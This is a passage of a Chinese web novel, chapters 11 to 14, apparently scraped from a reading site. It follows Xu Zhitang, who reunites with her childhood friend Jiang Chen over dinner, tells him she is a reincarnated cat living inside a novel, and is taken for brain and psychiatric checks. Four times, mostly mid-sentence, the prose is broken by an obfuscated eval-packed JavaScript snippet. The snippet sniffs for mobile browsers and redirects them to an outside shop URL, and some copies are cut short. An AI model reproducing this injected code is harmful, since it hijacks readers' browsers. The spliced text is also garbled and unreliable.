今晚姚一尧要请客吃饭。陶悦也是同一个学校毕业的,姚一尧算是她们学长,不介意再多个人凑凑热闹,就让她晚上带着陶悦一块儿。 陶悦挺喜欢凑热闹,“也不知道跟蒋谌做同班同学是什么感受。咱们姚学长比他大好几岁吧,估计得有点儿挫败感。” “跟他做同学应该都挺有挫败感的。”许知棠说完,立刻诶了一声,“我发过誓的,从今以后再也不讲他一句好话!“ “你不要在这里给我喵喵叫。” 陶悦毫不留情地戳破,“每年发誓一万条,再过两天自己都忘了说过什么了吧。” 她就是记吃不记打的典型,从来只记得别人的好处。哪怕吃亏上当受了伤,下一次还是会捧出那副赤子心肠。也不知道是福还是祸。 好多年没见,姚一尧盛情招待,在时下很火的宫宴定了个包厢,很懂地说请女孩吃饭就得找这种漂亮饭,拍照出片,还带舞蹈表演。 三个人坐定,还留了个空位。姚一尧朝她挑眉毛,“你猜还有谁来。” 许知棠撇嘴,“还能有谁。” 从昨晚到现在,她还没有跟蒋谌说一句话。不过她也没有小气到为此不跟人一桌吃饭的地步,大不了还是不说话,看谁急倒谁。 更何况下午刚做完按摩和头发护理,全身舒爽萦绕着香气,没人能破坏她的好心情。她和陶悦一起拍照,刚拍了两张,就听见姚一尧说,“呦,咱们蒋大律师来了。” 她不由自主地转头,循声望去。是蒋谌进来,一身黑衬衣,领带略微拉松,外套搭在手肘上,“抱歉,下班路上堵车。” “又没外人,客气什么。”姚一尧大剌剌地靠着,一只手搭在他的椅背上,给他拉开椅子,“快,饿着肚子等你呢,坐下来让他们赶紧上菜。” 许知棠只随波逐流地看了他一眼,就立刻收回目光。 包厢里是圆桌,四个人挨着坐,另一边空着。她坐在最这边,蒋谌来晚了就坐在最那头。隔着半个圆,论距离是最远,可正好是面对面,一抬头就能看见。 不仅是能看见…… 还能很直接地感受到蒋谌在看她。 她心里可别扭了,手上很忙,假装在p刚才拍的照片。 昨天刚通过电话,陶悦也没让她介绍,自来熟地跟蒋谌聊起来,“蒋谌学长大名鼎鼎啊,终于见到本尊了,幸会幸会。” “客气了。”蒋谌问,“我们一个学校?” “是一个学校,但没同时在。”她说,“我跟棠棠同班,我们升上来的时候你都跳走了。学校里只剩你的传说,没有你本人。” “……” 姚一尧说,“四舍五入咱这也算是青梅竹马局了哈。” 蒋谌笑了笑,望向对面。她还是垂着眼,拿筷子夹空气。 许知棠平时话很密的人,这晚却都没怎么说话,被cue到才会顺着开口。而且只要蒋谌一接话,她就不说了。在跟谁置气很明显。 姚一尧左看右看,有点乐呵。 本来想趁着吃饭的机会让两人和好呢。谁知道人家根本都不愿意跟他说话。 今天一整天都在和陶悦玩,许知棠没怎么玩手机。这会儿躲对面的视线,无意地点进自己帐号后台,忽然倒吸一口凉气。 “怎么了妹?空调太冷?”姚一尧关心道。 她不可思议地举起手机屏幕,圆圆的杏仁眼惊喜得光芒四射,“我粉丝破十万了。” “我靠,一天涨了快两万啊。”陶悦也惊喜得要跳起来,歪着头看她手机,“怎么回事,我们今天不是都在一起玩吗?你怎么背着我偷偷涨粉。” 两个人饭也顾不上吃了,凑到一起研究私信和评论,发现有很多粉丝都是被一个叫“海的那边是什么”的博主安利过来的。 许知棠从没刷到过这个博主,顺着去搜了发现对方粉丝近百万,最近几十个视频的封面是“抗癌日记”。 她一下子就想到这个博主是谁,点进视频确认过后,心里好像还含着一口气,在不真实的感觉里轻轻地飘。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661110|188443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “是我昨天看脱口秀遇到的女孩。”许知棠叹出这口气,暂时放下手机,整理思绪跟他们讲昨天遇到的事。 “走的时候她说一起拍几张照,问我介不介意发社交平台,我说不介意。还以为她是要发朋友圈呢。” “牛啊。”姚一尧朝她竖大拇指,“这波流量不就来了?” 蒋谌说,“出去一趟净做好事了。” 许知棠偷偷翻他白眼,没想到被逮个正着,有点尴尬又不服气,光明正大地再翻他一个,“没办法,谁让我这么善良又机智。” 陶悦看俩人眼神打架,忽然看热闹不嫌事大地拆她老底,“诶你还记不记得,你初中在学校倒卖蒋谌Q/Q号,一个人卖三块钱。” “……” “真的假的。”瞬间的惊讶过后,姚一尧直接爆笑。“学神的Q/Q号是用来考前祈福吗?销量怎么样啊?” “卖得挺好的……一学期挣好几百呢。”许知棠硬着头皮说,“有用来祈福的,也有要交朋友,表白的。不过你很快就搬走了,应该,也没有打扰到你吧。” 后几句是对蒋谌说的。 蒋谌完全不知道有这回事,但确实记得有段时间Q/Q被人狂加,只是他到京市之后开始用微信了,就没去管。 “所以是在我还没走的时候就开始卖了。”他隔了十来年才明白原委,有点好笑,“你怎么不直接问我要?” “我不好意思开口啊。”她难为情道,“再说跟你借了也还是要还的,我哪有钱还给你。” 那时候疫情刚结束,母亲去世,她家里没了固定的收入来源。父亲天性不羁,上不了班,就做各种临时工兼职供养她读书生活。她看在眼里,也想帮大人分担。 虽然想出的办法有点歪门邪道就是了。 蒋谌一嗔,看不出是笑是恼,“那确实是挺机智的。” 许知棠还想瞪他来着。可两个人视线交汇,她好像又没那么生气了。 或许是因为他刚刚那句“你怎么不找我要”,说得太自然,太不假思索。好像他理应对她的生活兜底负责。 她想,或许蒋谌也没能接受友情的断层,潜意识里也还是会把自己带入到从前,那种什么话都可以说的关系里,才会激情开麦。 就像大部分非独生子女家庭里,亲哥生气时会有的反应。 这样想着,她的心情微妙地好转。 一场旧日的小小闹剧在多年后真相大白,餐桌上气氛也活跃起来。 “小时候院里他俩玩得最好。”姚一尧担当场外解说,和陶悦讲,“还约着长大了一起学医呢。你蒋谌学长转行之前也是学医的,可惜现在不当医师当法师了。” “其实我也离职了。”许知棠说,“今年上半年的事,现在想做自媒体试试。” “啊这样啊,”姚一尧是捧场型人格,又立刻给予肯定,“我看行。你这么漂亮,照片发上去这不得库库涨粉。” “也挺难做的。现在互联网上美女太多了,行业饱和。”陶悦知道她这半年一直在尝试和受挫,“有时候还是需要一些运气。” 许知棠点点头,“对,今天这一天比我过去半年涨的粉丝都多。” “唉,都是这样,我今年不赔本就谢天谢地了。不过以后肯定能好的,心态也很重要。” 姚一尧道,“诶我听说,你男朋友也是学医的?学校认识的吗?” “嗯,何医生。”许知棠含糊地说,“他专业学得也挺好的,现在在我们三院呢,不过应该马上就转去省里了。” “这样啊,那你是不是也得跟着去?省里医院条件是好很多,利于晋升。”他伸了下筷子,随意地闲聊,“听说你们快结婚了,恭喜啊。” 话音落地,餐桌上另外三个人表情同时凝固了。 “什么?!” 陶悦最先发出灵魂质问,“他跟你求婚了?你答应了?我身为嫡长闺怎么不知道这事?!” 12. 第 12 章 “不……没有,我没答应啊。”许知棠也愣了,“谁说的我要结婚?” 何松砚才刚来找过她。她连陶悦都还没告诉呢,消息怎么可能传到一个好多年没见的朋友耳朵里? “啊?我听老家人讲的。” 姚一尧心虚地摸了下鼻子,“那估计是婆婆阿姨们乱讲吧。你们是不是谈了挺长时间了?她们想当然的。不过我听她们说何医生人品很不错的,青年才俊哈。” 乍一听说许知棠父亲去世,他总是要打个电话回家问问的,顺嘴的事。云川就那么大点地方,都说何松砚风评很好。证明小青梅眼光不错。 但不知道为什么,感觉蒋谌瞥了他一眼。不太愉快的样子。 “……嗯。”许知棠也承认,“我爸爸住院的时候他也很费心,有一半时间都是他照顾的。” “当人男朋友就该尽心的啊。”陶悦嘀咕,“有什么值得夸来夸去的。” 何松砚为人是不错。但大家把他捧得那么高,每次说起来都好像是她姐妹高攀了一样。 陶悦最不喜欢的就是这点。 “再喝点儿什么呗。”姚一尧坐下时给她俩点了酒酿,份量很小,两杯就见底。他顺手又把酒水单递给蒋谌,但被拒绝了。“还要开车。” “叫个代驾呗。” “明天要上班。” “是不是不敢啊?”姚一尧欠欠地笑了一下,对许知棠说,“他酒量不行,喝醉了话特别多。你没见过吧。” 许知棠惊讶地点点头。 她还没有跟蒋谌一起喝过酒。 “我爸喝醉了话也特别多。”她说,“以前我妈见他喝酒老是念叨,酒精属于一类致癌物。后来他自己喝醉了也念叨,说我妈总是念叨他酒精属于一类致癌物。” 从她话音落下,包厢里迟滞的气氛里,许知棠能察觉到,这里所有人都已经知道她家里的事,也不再遮遮掩掩,“没关系。生死天定,接受就好了。” “而且我心态挺强大的。”她用轻松的口吻讲述,“去年我爸爸走了以后,差不多隔两个月的时间,医院里来了个病人,跟他长得特别像,年纪身材都类似,连名字都有一个字重合。我当时真的,都快要以为是他还魂了。” “是个食道癌中期的病人,入院就安排了手术,情况不算糟糕,手术后生存率挺高的。” 是独自入院的病人。她看到跟父亲那么像的人,当然是尽心尽力地照顾,“直到手术前一天,他儿子才到医院,死活不肯签字做食管切除,说医院是要谋财害命。护士长说我平常跟病人关系最好,就让我去劝。我劝了好久。” “劝动了?”姚一尧忍不住接话。 陶悦是听她讲过这个事的,再听还是一团郁闷堵在胸口,转向她,看她摇了摇头。 “没有。”许知棠无奈道。“他扇了我一巴掌,骂我跟医院联合起来骗他儿子的钱。” 蒋谌惊诧地抬眼,看见一双刻意弯起的眼睛,微弱的光芒须臾一闪,便又沉沉地隐入眸底。 “我靠,医闹啊。没素质。”姚一尧也皱眉,“后来呢?” “后来我就不管那床了呗,被调走避嫌了,还额外调了三天假期呢。” 她耸了一下肩,“说到底是做服务业,遇到这种事也难免啦。反正我现在不在医院了,私下吐槽几句也没关系。” 姚一尧本来想劝慰几句,看她精神头还不错,自己看得那么开。再多说反而显得矫情,“那行,都在酒里了!今天晚上吃好喝好,别给我省钱。” 表演古典舞的演员这时候在庭院中齐齐亮相,薄纱素衣,仙气飘飘。弦乐一起,包厢里的注意力都被吸引到舞蹈演员身上,他们也暂停了聊天,边吃饭边看表演。 许知棠也举起手机录像。只是画面模糊,拍得心不在焉。 她无法停止思念父亲。 爸爸一直担心她,可能也看出以她的性格,没办法真的在医院待一辈子,所以很希望有一个成熟冷静,有远见有责任心的人——像何松砚那样的人,安稳陪在她身边,成为她的依靠。直到临终前一天还在跟她说,要跟小何医生好好的。 她又想到父亲去世时,何松砚的眼泪并没有比她更早停止。是两个人彼此支撑着,度过了那段最艰难的时间。 许知棠低头眨了下眼睛,脑海里蓦地一片空白。 像有一只无形的手,按掉了她大脑中保存悲伤的开关。 她想,变成小猫咪以后肯定就不会总是忍不住回忆了,也不再有那么多难以承受的情绪。毕竟猫的大脑皮层光滑,只知道吃喝享乐,记性很差。 吃到后半程,她想拍些餐厅的素材剪进vlog里用,跟陶悦说了一声去园子里取景,顺便透气。 她的酒量也一般,上头很快,平时出去跟朋友玩是杯子里能养鱼的那波人,不怎么会喝。 秋夜的风里凉意瑟瑟,反倒显得酒意的燥热更明显了。许知棠隔着栏杆拍水池里快要吃成圆柱的胖锦鲤,觉得不怎么出片。镜头也端不稳,晃着晃着,取景器角落里晃出个熟人的影。 看脚步方向,蒋谌目标明确,是出来找她的,薄西装外套还搭在手上。 下一秒,就递了过来,“要吗?” “不要。”她把头一撇,骄傲得像只小孔雀,“你出来干嘛?” “看看你是不是躲外面偷偷在哭。” “……” 他在许知棠身边坐下,栏杆低矮,腿伸不太开,“来赔礼道歉的。” 就像闺蜜了解的一样,许知棠耳根子软,闹矛盾了不管谁对谁错,要的只是个态度。道歉的话一出,她就被哄好一半,“那礼物呢?” “还没到,不过应该过不了多久。”蒋谌说,“我联系了辰野的法务联合起诉,赔偿金会比你想象中丰厚。” “真的假的……” 许知棠着实没想到,露出一副“还能这样”的表情,看着他又从外套的口袋里抽出一只盒子,“这个是顺带的。” 是瓶香水。她拆开,喷了两泵,白花系的香味。“晚香玉?” 复古风情,清纯和妩媚的结合体。这香味才刚闻过不久,她有点不敢相信,“我当时给你挑香水,这个是第二喜欢的。这真是你给我挑的?” “盲选。”蒋谌实话实说,“让店员推荐了几个,然后从里面挑了个卖得最好的。” “……” 销量好的不一定有多么戳中人心,但起码可以保证,大部分人都不会讨厌。 “好吧,原谅了。”许知棠满意这件礼物,“我送你的那个呢?” “还没拆开。”他说。 “为什么不用啊?” “懒得用。” “你这人……”她顿了顿,中肯评价,“又有品又没品的。” 蒋谌不置可否,“现在算和好了吗?” “勉勉强强吧。”她这时才诚实地说,“其实我知道你是想关心我。但你语气能不能别那么差啊,我现在都长这么大了,自尊心很强的。嗯,不过我也在你身上撒气了,所以我们现在扯平。” 蒋谌一本正经地点头,“我自尊心就没那么强。” “……” 她又被揶揄,却笑了出来,低头把长卷发撩开。有凉风穿过,终于把令人心烦的燥热吹走了。 “我确实担心。”蒋谌也坦言道,“你跑这么远过来,要是真在我这出了事,以后见了你爸妈都没法交代。” “说得好像你是我监护人一样。” 还是不要太快见到比较好吧。她大大地吸了口气,叹出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661111|188443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,朝着肥硕的锦鲤喊,“祝蒋大律师长命百岁!” 池水上漾开涟漪,像唱片刻录的声槽一圈圈漾开。 蒋谌微微动容,侧头看着她,神情不明,“真的在考虑结婚?” “嗯?”她怔了怔,又想糊弄,“大概不会吧。我还没想好呢。” “你从小但凡喜欢什么东西,都是第一时间想办法弄到手的。” 蒋谌说,“犹豫就是没那么喜欢。” 她下意识地反驳,“谁说的,我很爱他。” “很爱他一年分三回,还不敢结婚?” “……” 许知棠真有点没招了,“你能不能别把我朋友圈记那么清楚啊!” 她朋友圈向来是报喜不报忧的。分手了更不会明白地昭告天下,最多emo一下,半夜分享个网易云链接之类的。 通过一点点信息就能推测出她分手的频率,甚至还说准了次数。 这个人聪明到有点可怕。 许知棠说,“跟你这种不谈恋爱的人说不明白。” 他反问,“你怎么知道我不谈?” “看你家里那个样子就知道了啊!”她也不是笨蛋。 她自己谈恋爱,还有朋友们谈恋爱的多了去了,没有哪个有对象的人家里是像蒋谌家那样的,冷冷清清,不给除了自己以外的任何人准备东西,也就有个鱼缸还显得有点人味儿。否则何止是不谈恋爱,简直是不想过了。 “反正多想想总没错。这种人生大事,别冲动地做决定。” 蒋谌说,“别太受老家那群亲戚长辈的影响。她们自己的人生都未必过得如意,看人的眼光也不一定准。” 许知棠低低地哦了一声,心里还是有点抗拒谈论这事。 大概因为她和何松砚结婚,是太水到渠成的发展。如果她不按照这条被众人期望的路走,不仅要对何松砚解释,还要给很多人解释。 要命的是,她根本给不出合理的解释。问就是她不想结。 “不想结就不结。”蒋谌冷不丁开口,仿佛勘破她心里的郁结,直击要害,“不用考虑别人的看法,这是你自己的人生。” “……” “如果你们分手是因为在结婚这件事上无法达成一致,那分得很应当。” 许知棠有点感动了,“你不觉得我跟他谈了这么多年,到头来却不想结婚,是很奇怪的事吗?” “有什么奇怪的。”蒋谌理所当然道,“结婚本来就是很麻烦的事,不想结很正常。真有感情,谈一辈子都可以。” 话不复杂,却说得许知棠眼泪都快下来了。 他是除了陶悦以外,唯一一个会对她这么说的人。 果然是青梅竹马,哪怕隔了这么多年没见,还是会站她这边。 许知棠忽然又想到,自己辞职时的焦虑犹豫,有很大一部分来源于违背约定的愧疚。因为在读大学时她和何松砚约好了要一起实现理想,医护一心,造福病人。 可今天被姚一尧说起,其实最早和她约定好一起学医的那个人,并不是何松砚。而是蒋谌。 年少一起经历过失去家人的伤痛,约定了一起学医,号称要拯救这个疾病蔓延的世界。现在想想挺中二的。 蒋谌也有过一段中二的时期。带她一起看动漫追连载,还会自己在草稿纸上临摹漫画分镜。酷帅有型的主角摆出作战pose,喊着爱啊羁绊啊什么的就冲上去了。 如果是蒋谌,肯定会特别理解她的吧? 她心里涌生出坦诚的冲动,在理智和情感之间摇摆。心思都写在脸上,蒋谌看得一清二楚,有点想笑,“憋什么坏招呢。” “蒋谌哥,告诉你一个秘密吧。”许知棠冒然下定决心。 “其实我不是人类。” 13. 第 13 章 因为一听就很抽象,蒋谌起初并没有把这句话放在心上,“哦,那你是什么类?” “我是你救过的那只小猫咪啊!”她严肃地说。 “……” “真的!你不记得了吗?小时候你放学回家,路上遇到有一只小猫被货车轧坏了,送去宠物医院没救回来。你因为这个事郁闷了好多天呢。” 许知棠开始施展魔法,手指在他眼前抓了两下,仿佛要从他脑海里提取出这部分记忆,“其实我并没有死掉,而是寄生在这个身体里修复灵魂,所以花了很多年才觉醒。猫就是我,我就是猫。” 事是有这么个事。蒋谌沉默数秒:“如果我没有记错的话,当时那是一只小公猫。” “……” “纯洁的小猫灵魂是不分公母的!”许知棠抬起下巴,“你就说信不信吧。” 蒋谌说,“不信。” 她露出果然如此的眼神。 既然如此,就别怪她放大招了,“这你都不信。那如果我告诉你,其实我们都生活在一本小说里,是里面的人物角色,你是不是更不相信?” “……” “我知道很多事哦。” 她忽然直起了背,眼睛里蒙上一层神叨叨的光。语气也变得郑重而虔诚。 “我知道你每周一三五早上会提前到公司用健身房,周末除非紧急事务,都会雷打不动地在家里补觉。知道你平时只会用深色没有花纹的领带,打最简单的平结。还知道你去年年会抽奖抽中了咖啡机,自己懒得带回家就放去公司茶水间了,对吧?” “……” 蒋谌没能立刻说出话来,好像真的在看一场魔术,神情中多了些诧异和深思。 “如果不是像我说的,有一本书写好了我们的命运,我怎么可能隔着一千公里还知道这些?” 许知棠说,“这个世界是被设定好的,你和我都是。我被你救过一条命,就必须要帮助你实现愿望,才算完成任务,才能脱离这具身体。如果不按照剧情走,就会发生很可怕的事。” 蒋谌听她说到“脱离这具身体”,不由自主地皱眉。 但她能远隔千里,准确地说出他日常生活的细节,也确实是匪夷所思。 除了姚一尧,现在他身边并没有许知棠认识的朋友。而即使是姚一尧,也不可能连他每周去健身房的频率都知道得这么清楚。 如果不能归为巧合。难道十年不见,青梅变神婆了? “如果没有按照剧情走,”蒋谌问,“会发生什么可怕的事?” “这个世界会消失。” 许知棠想了想,又严肃地补充,“我会死的。昨天早上我只是想了一下能不能不完成,就差点晕过去。” 如果她死了,这个世界于她而言可不就是消失了么。 蒋谌心想有没有可能是你低血糖呢。 他没说信也没说不信,但看表情比刚才认真多了。看来她的游说初见成效,许知棠暗自肯定,正要问问他究竟有什么待实现的愿望时,听见他先问了,“明天上午有没有时间?” “有啊。”她立刻应答,积极道,“是要去干什么吗?” “那早点起床。”蒋谌说,“我上午请个假,带你去医院看看脑子。” “……” 白说了半天。 许知棠撇撇嘴,很不服气,重重地哦了一声,伸脚踩他投在地上的影子。 这也难怪。她又没办法立刻变成一只小猫来验证自己说的话,空口无凭,很难令人信服。 吃过晚饭道了别,陶悦跟她回酒店,手机响个不停,还没上楼就被人叫走了,“我合作伙伴,去酒店逮我扑空了,估计是提前问我助理要的地址。” 看她乐不可支的模样。许知棠感觉有情况,“谁啊?谁谁谁。” “就合作商那边的人嘛。没事,我去跟他喝一杯就回来。”她把许知棠送到房间,美滋滋地亲了一口,拿上房卡潇洒走人,“困了就先睡啊宝,我不确定什么时候回。” 绝对有情况。许知棠八卦的心被勾起来,想要等她回来好好盘问一下,而且自己和何松砚的情况也要讲讲,肯定得唠到后半夜。 可或许是喝多了酒酿,她洗漱停当躺在床上,手机都没玩几分钟,很快就睡着了。 梦里她乱七八糟地跟很多人吵架,这个吵不过,那个也吵不过,好像有一床厚厚的被子裹着她,让她喘不过气,卓越的吵架天赋也发挥不出来。气得她原地变成一只猫,从被子底下钻出来逃得远远的,才得以呼吸顺畅。 早上六点半,手机在枕头底下嗡嗡作响。 许知棠被吵醒,眼睛都看不清楚屏幕,真想不到什么人会这么早给她打电话,“……谁?” “我。”蒋谌说,“我十分钟后出门,大概半小时到你楼下,准备好就下来。” “等会儿,什么东西?”她听不明白,“这么早来找我干嘛啊。” “昨天不是说好了么,带你去看脑子。” “……” 那就算说好了?! 许知棠彻底清醒,顶着一头乱糟糟的卷发坐起来,“我以为你那么说,只是为了笑我呢。” 谁知道真要去啊。 陶悦凌晨才回来,睡得还很沉。她轻手轻脚地洗漱换衣服,化妆刷扫出残影,赶在电话再次响起之前冲下了楼。 “这么快。”原以为还要再多等几分钟,蒋谌拿起副驾上的早餐。她坐进来,身上携着一阵花香。 “吃不下……”她抱着热腾腾的三明治和咖啡打哈欠,“才几点啊,胃口都没醒呢。” 哈欠打到一半,她的目光被吸引到驾驶位。蒋谌今天穿了件半高领的黑色毛衣,很合身,以至于上半身的肌肉轮廓若隐若现。 她又不困了,眼睛眨了两下,抿起嘴角,“你胸练得蛮好的。” “……” “你在三院做过基础身体检查,那些项目就不去了,今天只查脑子。”蒋谌没接茬,说正事,“我只请了半天假,所以联系了一个师兄,待会儿直接去门诊找他。” “好。”她打开三明治,看完胸居然还有点开胃的效果,“去查了脑子没问题的话,你就会相信我昨天晚上说的了吗?” 蒋谌:“查完再说。” 许知棠不怕查,她自信身体没有任何问题,脑电图再做一百张也都会波幅正常。 这天上午的检查结果也跟她想的一样。 但看到结果后,医院之行并没有结束,蒋谌和精神科的师兄通了个电话,带她上楼。 许知棠看到楼层指示标出的科室时愣了愣,下意识地停住脚步,没有跟进电梯。 蒋谌也没催,人高马大地站在电梯里看着她,挑了下眉。 一直在挑衅。 “去就去。”激将法对她从来就很管用。许知棠鼓起气势地瞪了他一眼,准备好去接受盘问。 临到门口,又回头看他,“我要跟医生说实话吗?他肯定也不会相信的吧,然后找一个有臆想症状的病名按到我头上。” “他每天都要听不少神奇的话,不见得每个都能准确地下诊断。”蒋谌语气平常,好像只是给她介绍个新朋友,“去吧,他人还算风趣,你应该会喜欢跟他聊天。” 谈话过程比普通的检查复杂,也不适合有第三人在场影响判断。蒋谌独自在外面等,打开手机上的工作文件,十分钟过去也没翻过一页,索性熄了屏。 比起许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他知道蒋谌能听懂他在说什么,所以说得很直接。 “现在她的自我认知是一只猫,我认为这是一种焦虑转移。人类总是容易苛责自己,但谁会怪罪一只小猫不够坚强呢?只有这样,她才能够接受现状,维持正常。” 并不是因为她的精神出了问题,才幻想自己是只猫。 而是在创伤面前,她只有把自己当成一只小猫,才能接受自己脆弱,遗憾和无能为力,保护自己不至于精神崩溃。 蒋谌眉头紧皱。 他的确想到了,许知棠现在的情况大概率和她父亲去世有关。但这暂时的表面正常很难让人感到欣慰,“没有科学的办法让她恢复认知吗?” “当然有。”魏林瀚微笑着说,“我现在就可以走进去,告诉她一切都只是她的臆想,把她的心理平衡完全打破。然后开一堆精神药物给她,吃得昏昏沉沉半死不活,等待着或许会康复的那一天。你希望我这么做么?” “……” “你当然不希望。”魏林瀚悠闲地耸了耸肩,“否则你不会来找我。” 他在读医学院时就是学院里人尽皆知的激进派,厌倦陈腐保守的治疗手段。尤其喜欢特殊病例,信奉剑走偏锋有奇效。 从教授老师到同级学生,有很多人讨厌他,理解不了他的脑回路。然而蒋谌如果不欣赏他,不信任他的医学判断,今天就不会出现在这里。 “你认为我应该配合她,让这个故事延续下去?”蒋谌关心的点在于,“可故事会有结局。” 当她发现自己做了故事里要求的一切,却还是没有变成猫,又该怎么面对? “所以,这就是你们需要做出的选择。”魏林瀚明显对这例病案很感兴趣,双眼发亮地看着他,“话说回来,你又怎么肯定她说的不是真的呢?或许在三维之上还有一群生物,它们看我们,就像我们看二维的小说。对它们而言,我们的命运就像小说角色一样可以观测。” “人生本就是一场巨大的玄学。你相信什么,什么就会发生。” 14. 第 14 章 蒋谌想到很多年前的一桩小事。 许知棠小学时跟着他补习,他通常会提前做好学习计划。有一次周五,他要回老家看望爷爷奶奶,走得匆忙,把双休日的学习计划拿错成寒假的给了她。 回来才发现,她居然真的用两天时间完成了,一边哭一边骂一边写。 许知棠知道了气得要炸,但也很得意自己居然有这样巨大的潜力。 她后来说,我以为你相信我能写完,特意把学习计划做成这个鬼样子的。 我以为你相信我,所以才做得到。 她性格很像热血漫里的主角,越是困难的事情越感兴趣,有收获时呼朋引伴地分享,跌了跤就笑笑忘掉。永远期待明天,期待下一场奇遇。 乐观,热情,昂扬,有点冒失,又很洒脱。蒋谌曾想过,也就她这样的性格,才最适合当人,才能在这枯燥的人类世界里活得有滋有味。 时过境迁。如今她宁愿自己活成一只猫。 她的生活也没有朋友圈里那样无忧无虑。 “魏医生跟别人真的不一样诶。” 许知棠终于从诊室里出来,看见他身边放着奶茶袋子,露出渴望的目光,“好渴,想喝。” 蒋谌抬手递过来。是桂花乌龙,放了一小会儿,摸起来还温热。 “我第一次遇到有医生比我还能聊的,感觉他很热爱自己的工作。” 她没用吸管,打开盖子一口气喝了半杯,微糖的甜度刚好。舔舔嘴唇说,“他说我一切正常,可能就是想象力比较丰富。” “……” “你们不见一下吗?打个招呼聊聊天什么的。” “电话里招呼过了。”蒋谌起身叫她,“走吧。” “哦。” 他好像有心事,神情总带着些审慎和思索。许知棠捏着奶茶,觉得他大概还是不相信。这一上午的奔波没什么意义。 “照你看过的小说里写的,我们的结局是什么样?”蒋谌忽然问。 “不知道,还没连载完呢。”她细细道来,“我是在一个文学论坛里看到的,里面有个板块,很多人在那里发帖连载小说。不过那个楼主好像工作很忙,每周只更新一次,大家都在底下跟帖催更。” 她拍小说角色的仿妆变装视频,平常会在各种论坛推文上面找灵感,车祸发生当天都还在看。 “真的有那个小说,不是我乱编!还不相信的话,我就回趟云川,把电脑拿来给你看。” “我相信。” “……啊?” “啊什么。”蒋谌似笑非笑地反问,“又不希望我相信了?” “不是,”是不可思议,超出期望。许知棠眼睛发涩,甚至有点感动。“你真的相信吗?其实我也觉得这事有点离谱,如果不是发生在自己身上,我也不会相信的。” “相信就是相信。已经发生的事,哪还有什么如果。”蒋谌拉开车门。她坐进去给自己系安全带,心中大定,觉得今天这趟医院没有白来。 “你特意跑来找我,拐弯抹角地问我心愿是什么,是因为小说里还没有写到,对吧?但我也很难回答。” 他沉稳分析,“很少有人只有一个愿望,而且愿望也分很多种。想要一个亿是心愿,想要死去的人活过来是心愿,想要一个抹茶冰激凌也是心愿。” “就像你看到小说之前从没想过自己会是猫,我也不知道哪个是能‘拯救世界’的心愿,只有作者知道。所以,要等到小说更新,才能知道我们下一步该干什么。” “对喔。”许知棠恍然,“那我必须得回家一趟了,论坛链接只保存在电脑上。说不定出来这几天又有更新了呢。” “不急。”蒋谌开出地库,“先想想午饭吃什么。” 许知棠真佩服他。不愧是昔日学神,在等她就诊的时间里,硬是从离谱的事件中捋出一条清晰的逻辑。 “我不能跟你一起吃午饭了,陶陶催了我好几遍,我得去找她。” 许知棠很想跟他再聊一会儿。车祸以来,她第一次能跟人正经地讨论这桩奇遇,可惜姐妹召唤,必须要先走一步,“你现在就回律所吗?那把我放路口吧,我自己找个车回酒店。” “来得及,我送你。” 她在旁打量,觉得蒋谌放松了许多,路口等红灯时单手扶着方向盘,甚至会跟着车载电台的音乐一起哼两句歌。 他一直就怀疑她跑来海市是别有用心,现在用心揭晓了,虽然离谱,但一旦接受了设定就会发现,这对他是有好处的。 因为她需要完成的任务,是为他实现某个心愿。许知棠想,这对两个人来说是互利互惠的事情。蒋谌会帮助她的。 车停在酒店门口。她迫不及待地下了车,又转身回来,“我给你买一个抹茶冰激凌好吗?等我一下哦。” 酒店大堂旁就有奶茶店。她快速地点了单,接过现打的冰激凌跑回来,隔着车窗递给他,亲眼看他咬了一口,然后低头观察自己的手。嗯,没有变成小猫爪。 “看。”她朝蒋谌伸出手指,笑盈盈地乱晃,“还可以用排除法。” 很甜的一张脸,笑也明亮。看不出忧郁的阴影。 冰激凌没有融化的机会,蒋谌几口吃完,象征性地用纸巾擦了擦手,“还有句话没跟你说。” “你快说,奶茶要做好了。” “……” 蒋谌就对她说,“我没有不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16661113|188443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想见你,也没见了你不高兴。” “只是,”他停顿了一下,似乎很难用一个或几个词语去描述重逢的感受,“很意外。” “我就知道!你不是那种不念旧情的人。”许知棠早就原谅他了。早上出门前喷的香水还是他送的杜桑,不知道他有没有闻到。“我是说气话呢,你也不要放在心上。” “好。” “那你呢,也都是说气话吗?”她趁机又问。“你还在记仇吗?” 蒋谌毫无悬念地点点头,“在记。” “……” “好吧。”许知棠还是那样笑,“记呗。” 